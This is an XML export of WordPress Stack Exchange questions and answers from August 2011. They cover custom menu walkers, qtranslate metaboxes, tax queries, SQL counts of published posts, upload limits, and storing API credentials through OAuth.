  <row Id="25050" PostTypeId="1" CreationDate="2011-08-05T09:46:57.633" Score="1" ViewCount="51" Body="&lt;p&gt;How can I get an item counter working in a custom walker ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the corresponding number (not the id) of each menu item for some class names, because my elements have position:absolute and each one has its class (class_name_1, class_name_2, ...) with individual top margins. I'm not using CSS3, so I can't use the nth-child pseudo class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I managed to achieve this using (modified from example on codex):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($locations = get_nav_menu_locations()) &amp;amp;&amp;amp; isset($locations[$menu_name])) &#xA;{&#xA;    $menu = wp_get_nav_menu_object( $locations[ $menu_name ] );&#xA;    $menu_items = wp_get_nav_menu_items($menu-&amp;gt;term_id);&#xA;&#xA;    $menu_list = '&amp;lt;div id=&quot;side_menu&quot;&amp;gt;';&#xA;    $current_item = 1;&#xA;    foreach ( (array) $menu_items as $key =&amp;gt; $menu_item ) &#xA;    {&#xA;        $title = $menu_item-&amp;gt;title;&#xA;        $url = $menu_item-&amp;gt;url;&#xA;        $menu_list .= '&amp;lt;a class=&quot;tab_'.$current_item.'&quot; href=&quot;'.$url.'&quot;&amp;gt;&amp;lt;span&amp;gt;'.$title.'&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;';&#xA;        $current_item += 1;&#xA;    }&#xA;    $menu_list .= '&amp;lt;/div&amp;gt;';&#xA;} &#xA;else &#xA;{&#xA;    $menu_list = '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, a solution to do this with the walker may be useful in the future. &#xA;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="7660" LastEditorUserId="7660" LastEditorDisplayName="" LastEditDate="2011-08-05T11:22:31.200" LastActivityDate="2011-08-05T11:22:31.200" Title="Menu item counter in custom walker" Tags="&lt;custom-menus&gt;" CommentCount="4" />
  <row Id="25052" PostTypeId="1" CreationDate="2011-08-05T10:06:41.193" Score="0" ViewCount="21" Body="&lt;p&gt;I followed &lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial to create custom metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qtranslate&lt;/a&gt; enables you to use shortcodes almost everywhere.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post titles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--:en--&amp;gt;Cheng Feng Enterprises&amp;lt;!--:--&amp;gt;&amp;lt;!--:zh--&amp;gt;鄭峰企業&amp;lt;!--:--&amp;gt;&amp;lt;!--:es--&amp;gt;Cheng Feng Compania&amp;lt;!--:--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Widgets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[:en]My name is Alex Chen.&#xA;&#xA;I provide Spanish-English-Chinese&#xA;&#xA;translation services in Taiwan.&#xA;&#xA;&amp;lt;a href=&quot;mailto:alex@alexchen.info&quot;&amp;gt;&amp;lt;strong&amp;gt;I'm available for hire&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;.&#xA;&#xA;[:zh]我的名字是亞歷陳。&#xA;&#xA;我提供西班牙語 - 英語 - 中國&#xA;&#xA;在台灣的翻譯服務。&#xA;&#xA;&amp;lt;a href=&quot;mailto:alex@alexchen.info&quot;&amp;gt;&amp;lt;strong&amp;gt;我可供租用&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of these methods work for custom metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone successfully integrated qtranslate with custom metaboxes?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-05T10:06:41.193" Title="Has anyone successfully integrated qtranslate with custom metaboxes?" Tags="&lt;metabox&gt;&lt;plugin-qtranslate&gt;" />
  <row Id="25053" PostTypeId="2" ParentId="25049" CreationDate="2011-08-05T10:44:56.080" Score="2" ViewCount="" Body="&lt;p&gt;It looks like it could be because the filter cannot find the include file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include( ABSPATH. &quot;/path/to/file/jobsfeed.php&quot; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-05T10:44:56.080" CommentCount="3" />
  <row Id="25054" PostTypeId="2" ParentId="25044" CreationDate="2011-08-05T10:47:32.880" Score="1" ViewCount="" Body="&lt;p&gt;Scripts shouldn't go inside the body of a post, but it is possible for administrator level users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the codex info on &lt;a href=&quot;http://codex.wordpress.org/Using_Javascript#Javascript_in_Posts&quot; rel=&quot;nofollow&quot;&gt;Javascript_in_Posts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need JS inside a post, chances are you're approaching it from the wrong angle, content should go in the content area, not code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you're looking to run code when something specific appears in a post, a better approach(imho) is to use a shortcode(or several), you can read more about them &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-05T10:47:32.880" />
  <row Id="25055" PostTypeId="2" ParentId="25037" CreationDate="2011-08-05T10:55:32.670" Score="1" ViewCount="" Body="&lt;p&gt;Mark Jaquith wrote a plugin a while back that fetches data from plugins on the WordPress repo, i'd suggest taking a look at this plugin's code to get some ideas about how to query the WordPress Repository API, it's not a huge plugin so you should be able to pluck the necessary info from the main plugin file quite easily, a link to the source is posted below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source for main plugin file&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://svn.wp-plugins.org/i-make-plugins/trunk/i-make-plugins.php&quot; rel=&quot;nofollow&quot;&gt;http://svn.wp-plugins.org/i-make-plugins/trunk/i-make-plugins.php&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin home page&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://markjaquith.wordpress.com/2010/01/18/new-plugin-i-make-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2010/01/18/new-plugin-i-make-plugins/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notably the plugin API can return the download count for a given plugin. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-05T10:55:32.670" CommentCount="3" />
  <row Id="25056" PostTypeId="1" AcceptedAnswerId="25103" CreationDate="2011-08-05T11:33:49.813" Score="2" ViewCount="33" Body="&lt;p&gt;I'm employing custom widgets for my client because it's easy and they have several menus they need to create specific to site sections. I then want to allow them to add to the custom menu dynamically using widgets (I create the spaces needed for the widget and they drag and drop the menus into that widget bucket).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the following code but when the left nav sidebar is supposed to load, the page stops loading.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page( 'sport-fitness' ) || '269' == $post-&amp;gt;post_parent){&#xA;//menu for Sport &amp;amp; Fitness pages&#xA;&#xA;&amp;lt;div id=&quot;seventh&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;        &amp;lt;?php dynamic_sidebar( 'sidebar-7' ); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #second .widget-area --&amp;gt;&#xA;&#xA;}elseif(is_page( 'eat-smart' ) || '118' == $post-&amp;gt;post_parent){&#xA;//menu for Eat Smart pages&#xA;&#xA;&amp;lt;div id=&quot;eighth&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;    &amp;lt;?php dynamic_sidebar( 'sidebar-8' ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #second .widget-area --&amp;gt;&#xA;&#xA;}else{&#xA;//default menu&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The custom menus need to show up on all child pages (but not the parent page because that uses a different layout). What am I doing wrong with the above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page( 'sport-fitness' ) || '269' == $post-&amp;gt;post_parent){&#xA;//menu for Sport &amp;amp; Fitness pages&#xA;&#xA;wp_nav_menu( array('menu' =&amp;gt; 'sport-fitness' ));&#xA;&#xA;}elseif(is_page( 'eat-smart' ) || '118' == $post-&amp;gt;post_parent){&#xA;//menu for Eat Smart pages&#xA;&#xA;wp_nav_menu( array('menu' =&amp;gt; 'eat-smart' ));&#xA;&#xA;}else{&#xA;//default menu&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I'm stuck without the headers that the widgets provide (which they want). For example:&#xA;&lt;strong&gt;SPORT &amp;amp; FITNESS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;Home&lt;/li&gt;&#xA;    &lt;li&gt;Link 1 &lt;/li&gt;&#xA;    &lt;li&gt;Link 2&lt;/li&gt;&#xA;    &lt;li&gt;Link 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Help would be greatly appreciated. I've been trying to figure this out for a couple days now and it's a blocker to finishing their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA!&lt;/p&gt;&#xA;" OwnerUserId="7662" LastActivityDate="2011-08-05T21:39:56.350" Title="Custom Menus, Widgets &amp; Conditional Statements" Tags="&lt;widgets&gt;&lt;custom-menus&gt;&lt;conditional-content&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="25057" PostTypeId="1" CreationDate="2011-08-05T11:42:43.617" Score="0" ViewCount="87" Body="&lt;p&gt;Below is my tax query, at the moment this returns all posts which have at least one of the specified terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can have it return only posts which have &lt;strong&gt;ALL&lt;/strong&gt; of the specified terms?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[tax_query] =&amp;gt; Array&#xA;    (&#xA;        [relation] =&amp;gt; AND&#xA;        [0] =&amp;gt; Array&#xA;            (&#xA;                [taxonomy] =&amp;gt; services&#xA;                [field] =&amp;gt; term_id&#xA;                [terms] =&amp;gt; Array&#xA;                    (&#xA;                        [0] =&amp;gt; 3&#xA;                        [1] =&amp;gt; 10&#xA;                        [2] =&amp;gt; 6&#xA;                        [3] =&amp;gt; 9&#xA;                    )&#xA;&#xA;                [operator] =&amp;gt; IN&#xA;            )&#xA;&#xA;        [1] =&amp;gt; Array&#xA;            (&#xA;                [taxonomy] =&amp;gt; awards&#xA;                [field] =&amp;gt; term_id&#xA;                [terms] =&amp;gt; Array&#xA;                    (&#xA;                        [0] =&amp;gt; 13&#xA;                        [1] =&amp;gt; 12&#xA;                    )&#xA;&#xA;                [operator] =&amp;gt; IN&#xA;            )&#xA;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7663" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-22T10:08:46.700" LastActivityDate="2011-08-22T10:08:46.700" Title="Advanced Tax Query" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;taxonomy&gt;&lt;advanced-taxonomy-queries&gt;" AnswerCount="2" />
  <row Id="25058" PostTypeId="2" ParentId="25057" CreationDate="2011-08-05T11:51:46.840" Score="3" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;[operator] =&amp;gt; AND&lt;/code&gt; in both the sub-arrays.  I think that will work from my reading of &lt;code&gt;WP_Tax_Query::get_sql()&lt;/code&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-05T11:51:46.840" CommentCount="2" />
  <row Id="25059" PostTypeId="1" CreationDate="2011-08-05T11:57:05.937" Score="1" ViewCount="48" Body="&lt;p&gt;Hi i am currently building upon a theme that i have build previously for my blog.&#xA;The following code is to point to the latest post (the featured post). As this will have a different styling than all the other posts.&#xA;However. I would like to filter out the post-format: links using the WP-Query i have defined within the loop since it brings me a lot more flexibility.&#xA;How would i go around doin that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $featured = new WP_Query();  $featured-&amp;gt;query('showposts=1'); ?&amp;gt;&#xA;                    &amp;lt;?php while ($featured-&amp;gt;have_posts()) : $featured-&amp;gt;the_post(); ?&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; class=&quot;maintitle&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; class=&quot;btn&quot;&amp;gt;Read more &amp;amp;raquo;&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Lucas&lt;/p&gt;&#xA;" OwnerUserId="7665" LastActivityDate="2011-08-07T13:50:04.610" Title="Filtering post-formats from the loop using new WP-Query();" Tags="&lt;filters&gt;&lt;custom-loop&gt;&lt;post-formats&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25060" PostTypeId="1" AcceptedAnswerId="25074" CreationDate="2011-08-05T12:18:47.717" Score="0" ViewCount="25" Body="&lt;p&gt;i need to filter count based on a date and post_status = 'publish', how to write a query to filter, as far as now i have filtered based on date, what is the query need to filter based published post.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$table1 = $wpdb-&gt;prefix.'posts'; $sql = 'SELECT   COUNT(ID) AS count&#xA;    FROM    '.$users_table1.'   WHERE   DATE(post_date) &amp;lt;&#xA;  &quot;'.date('Y-m-d',time()).'&quot;';       $result = $wpdb-&gt;get_var($sql);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;iam stuck with this, do anyone know this?&lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2011-08-05T14:21:50.377" Title="query for filtering published posts?" Tags="&lt;posts&gt;&lt;query-posts&gt;&lt;mysql&gt;&lt;wpdb&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25061" PostTypeId="2" ParentId="1976" CreationDate="2011-08-05T12:37:39.993" Score="0" ViewCount="" Body="&lt;p&gt;ok - just created a get_results query which return post/attachment ids that have a certain tag. Not ideal but does the job...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_attachments_by_tag( $tagid='5', $parentID=0 ){ &#xA;    global $wpdb;&#xA;&#xA;    $myrows = $wpdb-&amp;gt;get_results( &quot;SELECT object_id FROM $wpdb-&amp;gt;term_taxonomy &#xA;                    LEFT JOIN $wpdb-&amp;gt;term_relationships ON $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id=$wpdb-&amp;gt;term_relationships.term_taxonomy_id &#xA;                    LEFT JOIN $wpdb-&amp;gt;posts ON $wpdb-&amp;gt;term_relationships.object_id=$wpdb-&amp;gt;posts.id &#xA;                    WHERE $wpdb-&amp;gt;term_taxonomy.term_id = '&quot;.$tagid.&quot;' AND $wpdb-&amp;gt;posts.post_parent = '&quot;.$parentID.&quot;' &quot; );&#xA;&#xA;    foreach ( $myrows as $item ) {&#xA;        $sc = get_object_vars($item);   &#xA;        $pmIDs[] = $sc['object_id'];&#xA;    }&#xA;&#xA;    return $pmIDs;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-08-05T12:37:39.993" />
  <row Id="25062" PostTypeId="1" AcceptedAnswerId="25792" CreationDate="2011-08-05T12:48:35.880" Score="2" ViewCount="56" Body="&lt;p&gt;I'm currently developing a plugin and the chances are that I will more than likely release it on the public plugin repository so others can use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin will be using an API and to use this API you need to pass a username and password. So my plugin needs to store these login credentials in the database. I don't want to store these in plain text although the API needs them in plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how do I store these sensitive bit of information? Hashing is out, so it has to be some sort of encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress is there a unique key that can be used that will differ from blog to blog? What php functions should I use to encrypt and decrypt? I'm looking for functions that will more than likely work on all WP installs.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-13T00:47:58.623" Title="How to store username and password to API in wordpress option DB?" Tags="&lt;plugin-development&gt;&lt;security&gt;&lt;api&gt;&lt;encryption&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="25063" PostTypeId="1" CreationDate="2011-08-05T13:07:44.987" Score="0" ViewCount="20" Body="&lt;p&gt;I want all my users to be able to upload images only upto 9. I used the following code but due to some reason when the set to anything more than 5images it breaks. Would be great if we have a solution as the entire website is awaiting only this functionality.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_handle_upload_prefilter', 'yoursite_wp_handle_upload_prefilter');&#xA;function yoursite_wp_handle_upload_prefilter($file) {&#xA;&#xA;    // This bit is for the flash uploader&#xA;&#xA;    if ($file['type']=='application/octet-stream' &amp;amp;&amp;amp; isset($file['tmp_name'])) {&#xA;&#xA;        $file_size = getimagesize($file['tmp_name']);&#xA;&#xA;        if (isset($file_size['error']) &amp;amp;&amp;amp; $file_size['error']!=0) {&#xA;&#xA;            $file['error'] = &quot;Unexpected Error: {$file_size['error']}&quot;;&#xA;&#xA;        return $file;&#xA;&#xA;        } else {&#xA;&#xA;        $file['type'] = $file_size['mime'];&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    list($category,$type) = explode('/',$file['type']);&#xA;&#xA;    if ('image'!=$category || !in_array($type,array('jpg','jpeg','gif','png'))) {&#xA;&#xA;        $file['error'] = &quot;Sorry, you can only upload a .GIF, a .JPG, or a .PNG image file.&quot;;&#xA;&#xA;    } else if ($post_id = (isset($_REQUEST['post_id']) ? $_REQUEST['post_id'] : false)) {&#xA;&#xA;        if (count(get_posts(&quot;post_type=attachment&amp;amp;post_parent={$post_id}&quot;))&amp;gt;4)&#xA;            $file['error'] = &quot;Sorry, you cannot upload more than five images.&quot;;&#xA;&#xA;    }&#xA;&#xA;    return $file;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7659" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-05T13:59:55.727" LastActivityDate="2011-08-05T13:59:55.727" Title="Limit Uploads to only 10 images" Tags="&lt;functions&gt;&lt;uploads&gt;" FavoriteCount="1" />
  <row Id="25064" PostTypeId="1" CreationDate="2011-08-05T13:09:14.270" Score="0" ViewCount="16" Body="&lt;p&gt;i would say this is too greedy.&#xA;Im managing 3 site which is having localize content. ie&#xA;example.com (main-site) hosted at &lt;strong&gt;server1&lt;/strong&gt;&#xA;sg.example.com (singapore) hosted at server1&#xA;id.example.com (indonesia) hosted at &lt;strong&gt;server2&lt;/strong&gt; A record &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all of them are single wp install&#xA;i decide to merge it together, BUT i m still hoping it get localize in terms of hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I m able to merge sg.example.com into example.com/&lt;strong&gt;sg&lt;/strong&gt; as category and rewrite the category url to a subdomain --&gt; sg.example.com &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I m able to move post-content of id.example.com to example.com/id ( as a category ) and unable to do make done on the rewrite. coz id.example.com A record is pointed to &lt;strong&gt;server2&lt;/strong&gt;, which is a blank directory at &lt;strong&gt;server2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea?&#xA;thank in advance..:)&lt;/p&gt;&#xA;" OwnerUserId="7542" LastActivityDate="2011-08-05T13:09:14.270" Title="subdomain mapping single wp" Tags="&lt;mod-rewrite&gt;&lt;domain-mapping&gt;&lt;subdomains&gt;&lt;single&gt;" CommentCount="1" />
  <row Id="25065" PostTypeId="1" AcceptedAnswerId="26126" CreationDate="2011-08-05T13:22:28.803" Score="0" ViewCount="36" Body="&lt;p&gt;I have set a page to be password protected in the admin, but for some reason WP is not asking for the password when viewing the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It definitely isn't a plugin as I have confirmed the behaviour with the plugin folder renamed. I have been testing it in Chrome w/incognito.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is using a custom template, which may be the problem? No other templates I have looked at though seem to display any password logic.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-17T10:13:08.763" Title="Password Protected page not asking for a password" Tags="&lt;password&gt;&lt;bug&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="25066" PostTypeId="1" CreationDate="2011-08-04T12:03:46.880" Score="0" ViewCount="25" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/24924/wordpress-programmatically-change-post-templates&quot;&gt;Wordpress - Programmatically change post templates?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I need to change the template on several hundred pages on my site. Does anyone know if there is a command to do it programmatically? See the following code snippet; I'd like to replace my comment inside the loop with a function that will change the template of the current page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query = new WP_Query($args);&#xA;while ( $query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;  if ( has_tag('tag-slug') )&#xA;  {&#xA;     /* CHANGE TEMPLATE OF $post */&#xA;  }&#xA;endwhile;&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7629" LastActivityDate="2011-08-05T19:15:26.797" ClosedDate="2011-08-05T19:32:50.687" Title="Programmatically change post templates?" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25067" PostTypeId="2" ParentId="25062" CreationDate="2011-08-05T13:38:39.773" Score="1" ViewCount="" Body="&lt;p&gt;This is exactly the circumstance OAuth was designed for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://oauth.net/&quot; rel=&quot;nofollow&quot;&gt;OAuth homepage&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;For Service Provider developers...&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you're supporting...&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;web applications&lt;/li&gt;&#xA;  &lt;li&gt;server-side APIs&lt;/li&gt;&#xA;  &lt;li&gt;mashups&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;If you're storing protected data on your users' behalf, they shouldn't be spreading their passwords around the web to get access to it. Use OAuth to give your users access to their data while protecting their account credentials.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The advantage of OAuth is that you don't need to store the user's password.  When they first set up the plugin, they're asked to log in with a username and password through the application (usually a page hosted on the same server as the API and loaded either in a page redirect, a thickbox, or an iframe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the user is logged in, the server (your system) creates a secure key that their system (WordPress) can use to interface with the API.  This key is unique to the user account and the site - and it gives the application (on WordPress) permission to do things with the API on the user's behalf &lt;em&gt;without passing their authentication information each time.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see an example of this in action, check out &lt;a href=&quot;http://jetpack.me/&quot; rel=&quot;nofollow&quot;&gt;Jetpack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you activate the plugin, it complains its not connected.  When you &quot;connect&quot; it, you enter your credentials through WordPress.com and set up the OAuth interaction between WordPress and their API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you only have to do this &lt;em&gt;once&lt;/em&gt; and your WordPress.com username/password is &lt;em&gt;never&lt;/em&gt; stored in your local WordPress database.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-05T13:38:39.773" CommentCount="2" />
  <row Id="25068" PostTypeId="1" AcceptedAnswerId="25487" CreationDate="2011-08-05T13:47:27.550" Score="0" ViewCount="44" Body="&lt;p&gt;I'd like to be able to enable/disable plugins on a per-site basis in multisite, similar to the way that themes are per-site configurable. Is this currently possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For instance, I don't particularly want people seeing the Domain Mapping plugin but want them to be able to enable Gravity Forms.)&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-08-10T02:21:50.313" Title="Can I enable/disable/hide plugins on a per-plugin basis in multisite?" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="3" />
  <row Id="25069" PostTypeId="1" CreationDate="2011-08-05T13:52:30.740" Score="-2" ViewCount="25" Body="&lt;p&gt;add_menu_page receives a callback. this callback is executed on click in menu item... Are there some function that creates a link and on click executes a function? I mean, not in menu, in an option page, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function do_what_i_have_described_above('Link Name', array('MyClass', 'MyMethof')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This execution would create a link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;lik-created-by-the-above-function&quot;&amp;gt;Link Name&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On click this link, the callback (array('MyClass', 'MyMethof')) would be invoked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="7668" LastEditorDisplayName="" LastEditDate="2011-08-05T15:18:57.140" LastActivityDate="2011-08-05T15:18:57.140" Title="Option page callback" Tags="&lt;callbacks&gt;&lt;add-menu-page&gt;" CommentCount="4" />
  <row Id="25071" PostTypeId="1" CreationDate="2011-08-05T14:16:00.500" Score="0" ViewCount="20" Body="&lt;p&gt;Is there a way to import users from another wordpress site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both sites are new. I just don't want to go through the trouble of adding the same users profile information and password.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-09-05T21:43:14.317" Title="Importing users? From another wordpress site" Tags="&lt;users&gt;&lt;import&gt;" AnswerCount="1" />
  <row Id="25072" PostTypeId="2" ParentId="25068" CreationDate="2011-08-05T14:16:09.267" Score="1" ViewCount="" Body="&lt;p&gt;Network activated plugins are hidden from the normal site plugins menu, though they are active regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins installed that are not network activated are visible to individual sites and can be activated on a per-site basis.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-05T14:16:09.267" CommentCount="3" />
  <row Id="25073" PostTypeId="1" AcceptedAnswerId="25075" CreationDate="2011-08-05T14:19:48.740" Score="0" ViewCount="26" Body="&lt;p&gt;I am developing WordPress plugin.This plugin has own login system.Which means users can register into the system. Then they can login. if the user login, i want to redirect them to their own profile page.This page should not be accessible while user is in logout or plugin &#xA;is in inactive.So how can i create page through plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks   &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-08-05T14:26:15.677" Title="How can i create page through plugin" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="25074" PostTypeId="2" ParentId="25060" CreationDate="2011-08-05T14:21:50.377" Score="0" ViewCount="" Body="&lt;p&gt;You can add this to the WHERE clause, just after your filter by post_date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AND post_status = &quot;publish&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7650" LastActivityDate="2011-08-05T14:21:50.377" CommentCount="1" />
